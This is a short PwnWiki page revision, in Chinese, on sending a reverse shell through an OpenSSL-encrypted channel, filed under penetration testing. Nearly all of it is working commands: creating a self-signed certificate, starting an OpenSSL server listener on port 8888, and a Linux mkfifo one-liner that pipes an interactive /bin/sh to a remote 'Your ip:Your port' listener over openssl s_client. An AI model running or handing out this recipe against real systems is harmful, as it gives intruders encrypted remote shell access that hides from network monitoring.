Difference between revisions of "使用OpenSsl加密反彈shell"
From PwnWiki
(Marked this version for translation) |
|||
| Line 24: | Line 24: | ||
| − | [[Category: | + | [[Category:滲透測試文檔]] |
Latest revision as of 17:44, 16 March 2021
生成自簽名證書
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
服務端監聽8888端口
openssl s_server -quiet -key key.pem -cert cert.pem -port 8888
Linux下使用mkfifo進行反彈shell
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect Your ip:Your port> /tmp/s; rm /tmp/s